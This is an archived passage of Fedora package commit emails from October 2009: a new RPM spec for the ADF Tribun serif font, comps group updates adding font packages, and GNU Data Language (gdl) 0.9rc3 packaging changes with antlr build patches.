    <family>Tribun ADF Std</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE adf-tribun-fonts.spec ---
%global fontname adf-tribun
%global fontconf 60-%{fontname}.conf

%global archivename Tribun-Std

Name:    %{fontname}-fonts
Version: 1.13
Release: 1%{?dist}
Summary: A newsprint-like serif typeface

Group:     User Interface/X
License:   GPLv2+ with exceptions
URL:       http://arkandis.tuxfamily.org/adffonts.html
Source0:   http://arkandis.tuxfamily.org/fonts/%{archivename}.zip
Source1:   http://arkandis.tuxfamily.org/docs/Tribun-Cat.pdf
Source11:  %{name}-fontconfig.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:     noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

%description
Hirwen Harendal started in 1999 the realization of a first font family, aiming
to create another ?Times New Roman?? He does not consider this endeavour a huge
success. However, he transformed Tribun progessively since then to give it its
own character.

The idea was to achieve newsprint-like rendering. To this effect, the glyph
bodies, serifs, or even extenders are not normalised and use irregular strokes.
This is most visible in italics though those variations stay imperceptible at
small sizes.

Italics proved time-consuming. They are never an easy thing to draw.
Nevertheless, the designer considers them very close to those of ?Times?, with
some variations.

The medium weight uses a stronger stroke. It can be used for emphasis, or for
effects in titles. That being said it has also been used for body copy. It is
also slightly expanded to complete the face offerings.

The condensed version is a bit unusual, since it stands in for both normal and
medium condensed. After several trials, Hirwen decided an intermediate weight
rendered much better both for document display and in print. Secondly, he took
great care to keep readability excellent, and this even for italics.

This font family is particularly well suited for text, display, or
presentations. It is also ideal for all Web publications. It can serve as
alternative to ?Times New Roman? and other similar fonts.


%prep
%setup -q -n %{archivename}
install -m 0644 -p %{SOURCE1} .
for txt in NOTICE */COPYING ; do
   fold -s $txt > $txt.new &&\
   sed -i 's/\r//' $txt.new &&\
   touch -r $txt $txt.new &&\
   mv $txt.new $txt
done


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p TTF/*.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE11} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc NOTICE TTF/COPYING *.pdf

%changelog
* Sat Oct 10 2009 <nicolas.mailhot at laposte.net>
- 1.13-1
? Initial release


--- NEW FILE import.log ---
adf-tribun-fonts-1_13-1_fc13:HEAD:adf-tribun-fonts-1.13-1.fc13.src.rpm:1255641299


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/adf-tribun-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:24:37 -0000	1.1
+++ .cvsignore	15 Oct 2009 21:15:16 -0000	1.2
@@ -0,0 +1,2 @@
+Tribun-Cat.pdf
+Tribun-Std.zip


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/adf-tribun-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:24:37 -0000	1.1
+++ sources	15 Oct 2009 21:15:16 -0000	1.2
@@ -0,0 +1,2 @@
+d7bcba4e405765cde2755666e80a3a20  Tribun-Cat.pdf
+46f08319ae8b6c49454cfc36555471a5  Tribun-Std.zip



From nim at fedoraproject.org  Thu Oct 15 21:17:19 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:17:19 +0000 (UTC)
Subject: comps comps-f11.xml.in,1.309,1.310
Message-ID: <20091015211719.E85B511C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18473

Modified Files:
	comps-f11.xml.in 
Log Message:
add adf-tribun-fonts


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f11.xml.in,v
retrieving revision 1.309
retrieving revision 1.310
diff -u -p -r1.309 -r1.310
--- comps-f11.xml.in	15 Oct 2009 21:09:28 -0000	1.309
+++ comps-f11.xml.in	15 Oct 2009 21:17:19 -0000	1.310
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE comps PUBLIC "-//Red Hat, Inc.//DTD Comps info//EN" "comps.dtd">
-<comps xmlns="">
+<comps>
   <group>
     <id>admin-tools</id>
     <_name>Administration Tools</_name>
@@ -1738,6 +1738,7 @@
       <packagereq type="optional">gfs-fleischman-fonts</packagereq>
       <packagereq type="optional">gfs-garaldus-fonts</packagereq>
       <packagereq type="optional">gfs-gazis-fonts</packagereq>
+      <packagereq type="optional">gfs-ignacio-fonts</packagereq>
       <packagereq type="optional">gfs-jackson-fonts</packagereq>
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>
@@ -2733,6 +2734,7 @@
       <packagereq type="optional">gfs-fleischman-fonts</packagereq>
       <packagereq type="optional">gfs-garaldus-fonts</packagereq>
       <packagereq type="optional">gfs-gazis-fonts</packagereq>
+      <packagereq type="optional">gfs-ignacio-fonts</packagereq>
       <packagereq type="optional">gfs-jackson-fonts</packagereq>
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>



From nim at fedoraproject.org  Thu Oct 15 21:17:50 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:17:50 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.153,1.154 comps-f13.xml.in,1.40,1.41
Message-ID: <20091015211750.D5E0611C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18533

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
add adf-tribun-fonts & gfs-ignacio-fonts


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.153
retrieving revision 1.154
diff -u -p -r1.153 -r1.154
--- comps-f12.xml.in	15 Oct 2009 21:09:33 -0000	1.153
+++ comps-f12.xml.in	15 Oct 2009 21:17:50 -0000	1.154
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE comps PUBLIC "-//Red Hat, Inc.//DTD Comps info//EN" "comps.dtd">
-<comps xmlns="">
+<comps>
   <group>
     <id>admin-tools</id>
     <_name>Administration Tools</_name>
@@ -1844,6 +1844,7 @@
       <packagereq type="default">un-core-dotum-fonts</packagereq>
       <packagereq type="default">vlgothic-fonts</packagereq>
       <packagereq type="optional">adf-accanthis-fonts</packagereq>
+      <packagereq type="optional">adf-tribun-fonts</packagereq>
       <packagereq type="optional">allgeyer-musiqwik-fonts</packagereq>
       <packagereq type="optional">allgeyer-musisync-fonts</packagereq>
       <packagereq type="optional">apa-new-athena-unicode-fonts</packagereq>
@@ -1900,6 +1901,7 @@
       <packagereq type="optional">gfs-fleischman-fonts</packagereq>
       <packagereq type="optional">gfs-garaldus-fonts</packagereq>
       <packagereq type="optional">gfs-gazis-fonts</packagereq>
+      <packagereq type="optional">gfs-ignacio-fonts</packagereq>
       <packagereq type="optional">gfs-jackson-fonts</packagereq>
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>
@@ -2898,6 +2900,7 @@
       <packagereq type="optional">gfs-fleischman-fonts</packagereq>
       <packagereq type="optional">gfs-garaldus-fonts</packagereq>
       <packagereq type="optional">gfs-gazis-fonts</packagereq>
+      <packagereq type="optional">gfs-ignacio-fonts</packagereq>
       <packagereq type="optional">gfs-jackson-fonts</packagereq>
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- comps-f13.xml.in	15 Oct 2009 21:09:39 -0000	1.40
+++ comps-f13.xml.in	15 Oct 2009 21:17:50 -0000	1.41
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE comps PUBLIC "-//Red Hat, Inc.//DTD Comps info//EN" "comps.dtd">
-<comps xmlns="">
+<comps>
   <group>
     <id>admin-tools</id>
     <_name>Administration Tools</_name>
@@ -1835,6 +1835,7 @@
       <packagereq type="default">thai-scalable-waree-fonts</packagereq>
       <packagereq type="default">un-core-dotum-fonts</packagereq>
       <packagereq type="optional">adf-accanthis-fonts</packagereq>
+      <packagereq type="optional">adf-tribun-fonts</packagereq>
       <packagereq type="optional">allgeyer-musiqwik-fonts</packagereq>
       <packagereq type="optional">allgeyer-musisync-fonts</packagereq>
       <packagereq type="optional">apa-new-athena-unicode-fonts</packagereq>
@@ -1891,6 +1892,7 @@
       <packagereq type="optional">gfs-fleischman-fonts</packagereq>
       <packagereq type="optional">gfs-garaldus-fonts</packagereq>
       <packagereq type="optional">gfs-gazis-fonts</packagereq>
+      <packagereq type="optional">gfs-ignacio-fonts</packagereq>
       <packagereq type="optional">gfs-jackson-fonts</packagereq>
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>
@@ -2890,6 +2892,7 @@
       <packagereq type="optional">gfs-fleischman-fonts</packagereq>
       <packagereq type="optional">gfs-garaldus-fonts</packagereq>
       <packagereq type="optional">gfs-gazis-fonts</packagereq>
+      <packagereq type="optional">gfs-ignacio-fonts</packagereq>
       <packagereq type="optional">gfs-jackson-fonts</packagereq>
       <packagereq type="optional">gfs-neohellenic-fonts</packagereq>
       <packagereq type="optional">gfs-nicefore-fonts</packagereq>



From orion at fedoraproject.org  Thu Oct 15 21:22:30 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 15 Oct 2009 21:22:30 +0000 (UTC)
Subject: rpms/gdl/F-12 gdl-0.9rc2-20090504-antlr-auto.patch, NONE,
	1.1 gdl-0.9rc3-antlr.patch, NONE, 1.1 import.log, NONE,
	1.1 makecvstarball, NONE, 1.1 .cvsignore, 1.13, 1.14 gdl.spec,
	1.48, 1.49 sources, 1.13, 1.14 gdl-0.9pre5-ppc64.patch, 1.1,
	NONE gdl-0.9pre6-plplot.patch, 1.1, NONE gdl-0.9rc1-gcc43.patch,
	1.2, NONE gdl-0.9rc2-20090224-friend.patch, 1.1,
	NONE gdl-0.9rc2-20090312-antlr.patch, 1.1, NONE
Message-ID: <20091015212230.A8C0211C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gdl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20239/F-12

Modified Files:
	.cvsignore gdl.spec sources 
Added Files:
	gdl-0.9rc2-20090504-antlr-auto.patch gdl-0.9rc3-antlr.patch 
	import.log makecvstarball 
Removed Files:
	gdl-0.9pre5-ppc64.patch gdl-0.9pre6-plplot.patch 
	gdl-0.9rc1-gcc43.patch gdl-0.9rc2-20090224-friend.patch 
	gdl-0.9rc2-20090312-antlr.patch 
Log Message:
Update to 0.9rc3 from devel

gdl-0.9rc2-20090504-antlr-auto.patch:
 configure.in    |    2 +-
 src/Makefile.am |    5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE gdl-0.9rc2-20090504-antlr-auto.patch ---
--- gdl-0.9rc2-20090504/configure.in.antlr-auto	2009-04-30 16:07:55.000000000 -0600
+++ gdl-0.9rc2-20090504/configure.in	2009-05-04 16:17:25.000000000 -0600
@@ -842,7 +842,7 @@
 dnl perform program name transformation
 dnl AC_ARG_PROGRAM
 
-AC_CONFIG_FILES(Makefile src/Makefile src/antlr/Makefile)
+AC_CONFIG_FILES(Makefile src/Makefile)
 
 AC_OUTPUT
 
--- gdl-0.9rc2-20090504/src/Makefile.am.antlr-auto	2009-03-03 16:32:14.000000000 -0700
+++ gdl-0.9rc2-20090504/src/Makefile.am	2009-05-04 16:17:18.000000000 -0600
@@ -1,6 +1,5 @@
 # set the include path found by configure
 INCLUDES = $(EXT_INCLUDES) $(all_includes)
-SUBDIRS = antlr
 noinst_HEADERS = gdlwidget.hpp prognode.hpp prognodeexpr.hpp
 
 cpp_hpp_files = accessdesc.hpp arrayindex.hpp assocdata.cpp assocdata.hpp \
@@ -53,7 +52,7 @@
 gdl_CXXFLAGS = $(AM_CXXFLAGS)
 # the library search path.
 gdl_LDFLAGS = $(all_libraries)
-gdl_LDADD = $(top_builddir)/src/antlr/libantlr.a -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+gdl_LDADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 endif
 
 # build as library (for python module)
@@ -69,6 +68,6 @@
 libgdl_la_LDFLAGS = $(all_libraries) -Wl,-z,muldefs
 endif 
 
-libgdl_la_LIBADD = $(top_builddir)/src/antlr/libantlr.la -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+libgdl_la_LIBADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 endif
 

gdl-0.9rc3-antlr.patch:
 configure       |    3 +--
 src/Makefile.in |    9 ++++-----
 2 files changed, 5 insertions(+), 7 deletions(-)

--- NEW FILE gdl-0.9rc3-antlr.patch ---
--- gdl-0.9rc3/configure.antlr	2009-09-11 10:04:09.000000000 -0600
+++ gdl-0.9rc3/configure	2009-10-15 11:11:06.707875846 -0600
@@ -23525,7 +23525,7 @@
 
 
 
-ac_config_files="$ac_config_files Makefile src/Makefile src/antlr/Makefile"
+ac_config_files="$ac_config_files Makefile src/Makefile"
 
 
 cat >confcache <<\_ACEOF
@@ -24130,7 +24130,6 @@
     "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
     "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;;
     "src/Makefile") CONFIG_FILES="$CONFIG_FILES src/Makefile" ;;
-    "src/antlr/Makefile") CONFIG_FILES="$CONFIG_FILES src/antlr/Makefile" ;;
 
   *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5
 echo "$as_me: error: invalid argument: $ac_config_target" >&2;}
--- gdl-0.9rc3/src/Makefile.in.antlr	2009-09-11 10:04:09.000000000 -0600
+++ gdl-0.9rc3/src/Makefile.in	2009-10-15 11:10:12.689817337 -0600
@@ -55,7 +55,7 @@
 libLTLIBRARIES_INSTALL = $(INSTALL)
 LTLIBRARIES = $(lib_LTLIBRARIES)
 @BUILDASLIBRARY_TRUE at libgdl_la_DEPENDENCIES =  \
- at BUILDASLIBRARY_TRUE@	$(top_builddir)/src/antlr/libantlr.la
+ at BUILDASLIBRARY_TRUE@	-lantlr
 am__libgdl_la_SOURCES_DIST = accessdesc.hpp arrayindex.hpp \
 	assocdata.cpp assocdata.hpp basegdl.hpp basic_fun_cl.cpp \
 	basic_fun_cl.hpp basic_fun.cpp basic_fun.hpp basic_fun_jmg.cpp \
@@ -236,7 +236,7 @@
 @BUILDASLIBRARY_FALSE@	gdl-gdl.$(OBJEXT)
 gdl_OBJECTS = $(am_gdl_OBJECTS)
 @BUILDASLIBRARY_FALSE at gdl_DEPENDENCIES =  \
- at BUILDASLIBRARY_FALSE@	$(top_builddir)/src/antlr/libantlr.a
+ at BUILDASLIBRARY_FALSE@	-lantlr
 gdl_LINK = $(LIBTOOL) --tag=CXX $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \
 	--mode=link $(CXXLD) $(gdl_CXXFLAGS) $(CXXFLAGS) \
 	$(gdl_LDFLAGS) $(LDFLAGS) -o $@
@@ -395,7 +395,6 @@
 
 # set the include path found by configure
 INCLUDES = $(EXT_INCLUDES) $(all_includes)
-SUBDIRS = antlr
 noinst_HEADERS = gdlwidget.hpp prognode.hpp prognodeexpr.hpp
 cpp_hpp_files = accessdesc.hpp arrayindex.hpp assocdata.cpp assocdata.hpp \
 		basegdl.hpp basic_fun_cl.cpp basic_fun_cl.hpp basic_fun.cpp basic_fun.hpp \
@@ -442,7 +441,7 @@
 @BUILDASLIBRARY_FALSE at gdl_CXXFLAGS = $(AM_CXXFLAGS)
 # the library search path.
 @BUILDASLIBRARY_FALSE at gdl_LDFLAGS = $(all_libraries)
- at BUILDASLIBRARY_FALSE@gdl_LDADD = $(top_builddir)/src/antlr/libantlr.a -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+ at BUILDASLIBRARY_FALSE@gdl_LDADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 
 # build as library (for python module)
 @BUILDASLIBRARY_TRUE at lib_LTLIBRARIES = libgdl.la
@@ -452,7 +451,7 @@
 # netCDF and HDF define some same symbols
 # hence -z muldefs has to be passed to the linker
 @BUILDASLIBRARY_TRUE@@DARWIN_TRUE at libgdl_la_LDFLAGS = $(all_libraries) -Wl,-m
- at BUILDASLIBRARY_TRUE@libgdl_la_LIBADD = $(top_builddir)/src/antlr/libantlr.la -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+ at BUILDASLIBRARY_TRUE@libgdl_la_LIBADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 all: all-recursive
 
 .SUFFIXES:


--- NEW FILE import.log ---
gdl-0_9-0_7_rc3_fc13:F-12:gdl-0.9-0.7.rc3.fc13.src.rpm:1255641732


--- NEW FILE makecvstarball ---
#!/bin/sh
if [ -n "$" ]
then
   date=$1
else
   date=`date +%Y%m%d`
fi
cvs -z3 -d :pserver:anonymous at gnudatalanguage.cvs.sourceforge.net:/cvsroot/gnudatalanguage export -D ${date} -d gdl-0.9rc2-${date} gdl
tar cjf gdl-0.9rc2-${date}.tar.bz2 gdl-0.9rc2-${date}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	12 Mar 2009 14:55:31 -0000	1.13
+++ .cvsignore	15 Oct 2009 21:22:30 -0000	1.14
@@ -1 +1 @@
-gdl-0.9rc2-20090312.tar.bz2
+gdl-0.9rc3.tar.gz


Index: gdl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/F-12/gdl.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- gdl.spec	24 Jul 2009 23:43:08 -0000	1.48
+++ gdl.spec	15 Oct 2009 21:22:30 -0000	1.49
@@ -2,34 +2,37 @@
 
 Name:           gdl
 Version:        0.9
-Release:        0.6.rc2.20090312%{?dist}
+Release:        0.7.rc3%{?dist}
 Summary:        GNU Data Language
 
 Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://gnudatalanguage.sourceforge.net/
-#Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2.tar.bz2
-# cvs -z3 -d :pserver:anonymous at gnudatalanguage.cvs.sourceforge.net:/cvsroot/gnudatalanguage export -D 20090312 -d gdl-0.9rc2-20090312 gdl
-# tar cjf gdl-0.9rc2-20090312.tar.bz2 gdl-0.9rc2-20090312
-Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2-20090312.tar.bz2
+Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc3.tar.gz
+# Made with makecvstarball
+#Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2-20090603.tar.bz2
 Source1:        gdl.csh
 Source2:        gdl.sh
-Patch1:         gdl-0.9pre5-ppc64.patch
-Patch2:         gdl-0.9rc1-gcc43.patch
+Source3:        makecvstarball
 # Build with system antlr library.  Request for upstream change here:
 # https://sourceforge.net/tracker/index.php?func=detail&aid=2685215&group_id=97659&atid=618686
-Patch3:         gdl-0.9rc2-20090312-antlr.patch
-# gcc 4.4.0 catches more class issues - add needed friend
-# https://sourceforge.net/tracker/index.php?func=detail&aid=2634356&group_id=97659&atid=618683
-Patch4:         gdl-0.9rc2-20090224-friend.patch
+Patch3:         gdl-0.9rc3-antlr.patch
+Patch4:         gdl-0.9rc2-20090504-antlr-auto.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+#RHEL doesn't have the needed antlr version/headers, old plplot
+%if !0%{?rhel}
 BuildRequires:  antlr
+%define plplot_config %{nil}
+%else
+%define plplot_config --enable-oldplplot
+%endif
 BuildRequires:  readline-devel, ncurses-devel
 BuildRequires:  gsl-devel, plplot-devel, ImageMagick-c++-devel
 BuildRequires:  netcdf-devel, hdf5-devel, libjpeg-devel
 BuildRequires:  python-devel, python-numarray, python-matplotlib
 BuildRequires:  fftw-devel, hdf-devel, proj-devel
+BuildRequires:  autoconf, automake, libtool
 # Needed to pull in drivers
 Requires:       plplot
 Requires:       %{name}-common = %{version}-%{release}
@@ -46,25 +49,31 @@ Systems Inc.
 Summary:        Common files for GDL
 Group:          Applications/Engineering
 Requires:       %{name}-runtime = %{version}-%{release}
+%if !0%{?rhel}
 BuildArch:      noarch
+%endif
 
 %description    common
 Common files for GDL
 
 
 %prep
-%setup -q -n %{name}-%{version}rc2-20090312
-%patch1 -p1 -b .ppc64
-%patch2 -p1 -b .gcc43
+%setup -q -n %{name}-%{version}rc3
+%if !0%{?rhel}
 %patch3 -p1 -b .antlr
-%patch4 -p1 -b .friend
+%patch4 -p1 -b .antlr-auto
+%endif
+%if !0%{?rhel}
 rm -rf src/antlr
+%endif
+rm ltmain.sh
+autoreconf --install
 
 
 %build
 export CPPFLAGS="-DH5_USE_16_API"
-%global _configure ../configure
 %configure --disable-dependency-tracking --disable-static --with-fftw \
+           %{plplot_config} \
            INCLUDES="-I/usr/include/netcdf -I/usr/include/hdf" \
            LIBS="-L%{_libdir}/hdf"
 make %{?_smp_mflags}
@@ -85,6 +94,11 @@ install -m 0644 %SOURCE1 $RPM_BUILD_ROOT
 install -m 0644 %SOURCE2 $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d
 
 
+%check
+cd testsuite
+echo ".r test_suite" | ../src/gdl
+
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -101,6 +115,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 15 2009 - Orion Poplawski <orion at cora.nwra.com> - 0.9-0.7.rc3
+- Update to 0.9rc3
+- Drop gcc43, ppc64, friend patches fixed upstream
+- Add source for makecvstarball
+- Rebase antlr patch, add automake source version
+- Add conditionals for EPEL builds
+- Add %%check section
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-0.6.rc2.20090312
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Mar 2009 14:55:31 -0000	1.13
+++ sources	15 Oct 2009 21:22:30 -0000	1.14
@@ -1 +1 @@
-a3f361a43164617934134300cbe51207  gdl-0.9rc2-20090312.tar.bz2
+94a29e13ec5d71e664659b32e421b02e  gdl-0.9rc3.tar.gz


--- gdl-0.9pre5-ppc64.patch DELETED ---


--- gdl-0.9pre6-plplot.patch DELETED ---


--- gdl-0.9rc1-gcc43.patch DELETED ---


--- gdl-0.9rc2-20090224-friend.patch DELETED ---


--- gdl-0.9rc2-20090312-antlr.patch DELETED ---



From orion at fedoraproject.org  Thu Oct 15 21:23:25 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 15 Oct 2009 21:23:25 +0000 (UTC)
Subject: rpms/gdl/F-11 gdl-0.9rc2-20090504-antlr-auto.patch, NONE,
	1.1 gdl-0.9rc3-antlr.patch, NONE, 1.1 import.log, NONE,
	1.1 makecvstarball, NONE, 1.1 .cvsignore, 1.13, 1.14 gdl.spec,
	1.47, 1.48 sources, 1.13, 1.14 gdl-0.9pre5-ppc64.patch, 1.1,
	NONE gdl-0.9pre6-plplot.patch, 1.1, NONE gdl-0.9rc1-gcc43.patch,
	1.2, NONE gdl-0.9rc2-20090224-friend.patch, 1.1,
	NONE gdl-0.9rc2-20090312-antlr.patch, 1.1, NONE
Message-ID: <20091015212325.9758011C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gdl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20626/F-11

Modified Files:
	.cvsignore gdl.spec sources 
Added Files:
	gdl-0.9rc2-20090504-antlr-auto.patch gdl-0.9rc3-antlr.patch 
	import.log makecvstarball 
Removed Files:
	gdl-0.9pre5-ppc64.patch gdl-0.9pre6-plplot.patch 
	gdl-0.9rc1-gcc43.patch gdl-0.9rc2-20090224-friend.patch 
	gdl-0.9rc2-20090312-antlr.patch 
Log Message:
Update to 0.9rc3 from devel

gdl-0.9rc2-20090504-antlr-auto.patch:
 configure.in    |    2 +-
 src/Makefile.am |    5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE gdl-0.9rc2-20090504-antlr-auto.patch ---
--- gdl-0.9rc2-20090504/configure.in.antlr-auto	2009-04-30 16:07:55.000000000 -0600
+++ gdl-0.9rc2-20090504/configure.in	2009-05-04 16:17:25.000000000 -0600
@@ -842,7 +842,7 @@
 dnl perform program name transformation
 dnl AC_ARG_PROGRAM
 
-AC_CONFIG_FILES(Makefile src/Makefile src/antlr/Makefile)
+AC_CONFIG_FILES(Makefile src/Makefile)
 
 AC_OUTPUT
 
--- gdl-0.9rc2-20090504/src/Makefile.am.antlr-auto	2009-03-03 16:32:14.000000000 -0700
+++ gdl-0.9rc2-20090504/src/Makefile.am	2009-05-04 16:17:18.000000000 -0600
@@ -1,6 +1,5 @@
 # set the include path found by configure
 INCLUDES = $(EXT_INCLUDES) $(all_includes)
-SUBDIRS = antlr
 noinst_HEADERS = gdlwidget.hpp prognode.hpp prognodeexpr.hpp
 
 cpp_hpp_files = accessdesc.hpp arrayindex.hpp assocdata.cpp assocdata.hpp \
@@ -53,7 +52,7 @@
 gdl_CXXFLAGS = $(AM_CXXFLAGS)
 # the library search path.
 gdl_LDFLAGS = $(all_libraries)
-gdl_LDADD = $(top_builddir)/src/antlr/libantlr.a -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+gdl_LDADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 endif
 
 # build as library (for python module)
@@ -69,6 +68,6 @@
 libgdl_la_LDFLAGS = $(all_libraries) -Wl,-z,muldefs
 endif 
 
-libgdl_la_LIBADD = $(top_builddir)/src/antlr/libantlr.la -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+libgdl_la_LIBADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 endif
 

gdl-0.9rc3-antlr.patch:
 configure       |    3 +--
 src/Makefile.in |    9 ++++-----
 2 files changed, 5 insertions(+), 7 deletions(-)

--- NEW FILE gdl-0.9rc3-antlr.patch ---
--- gdl-0.9rc3/configure.antlr	2009-09-11 10:04:09.000000000 -0600
+++ gdl-0.9rc3/configure	2009-10-15 11:11:06.707875846 -0600
@@ -23525,7 +23525,7 @@
 
 
 
-ac_config_files="$ac_config_files Makefile src/Makefile src/antlr/Makefile"
+ac_config_files="$ac_config_files Makefile src/Makefile"
 
 
 cat >confcache <<\_ACEOF
@@ -24130,7 +24130,6 @@
     "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
     "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;;
     "src/Makefile") CONFIG_FILES="$CONFIG_FILES src/Makefile" ;;
-    "src/antlr/Makefile") CONFIG_FILES="$CONFIG_FILES src/antlr/Makefile" ;;
 
   *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5
 echo "$as_me: error: invalid argument: $ac_config_target" >&2;}
--- gdl-0.9rc3/src/Makefile.in.antlr	2009-09-11 10:04:09.000000000 -0600
+++ gdl-0.9rc3/src/Makefile.in	2009-10-15 11:10:12.689817337 -0600
@@ -55,7 +55,7 @@
 libLTLIBRARIES_INSTALL = $(INSTALL)
 LTLIBRARIES = $(lib_LTLIBRARIES)
 @BUILDASLIBRARY_TRUE at libgdl_la_DEPENDENCIES =  \
- at BUILDASLIBRARY_TRUE@	$(top_builddir)/src/antlr/libantlr.la
+ at BUILDASLIBRARY_TRUE@	-lantlr
 am__libgdl_la_SOURCES_DIST = accessdesc.hpp arrayindex.hpp \
 	assocdata.cpp assocdata.hpp basegdl.hpp basic_fun_cl.cpp \
 	basic_fun_cl.hpp basic_fun.cpp basic_fun.hpp basic_fun_jmg.cpp \
@@ -236,7 +236,7 @@
 @BUILDASLIBRARY_FALSE@	gdl-gdl.$(OBJEXT)
 gdl_OBJECTS = $(am_gdl_OBJECTS)
 @BUILDASLIBRARY_FALSE at gdl_DEPENDENCIES =  \
- at BUILDASLIBRARY_FALSE@	$(top_builddir)/src/antlr/libantlr.a
+ at BUILDASLIBRARY_FALSE@	-lantlr
 gdl_LINK = $(LIBTOOL) --tag=CXX $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \
 	--mode=link $(CXXLD) $(gdl_CXXFLAGS) $(CXXFLAGS) \
 	$(gdl_LDFLAGS) $(LDFLAGS) -o $@
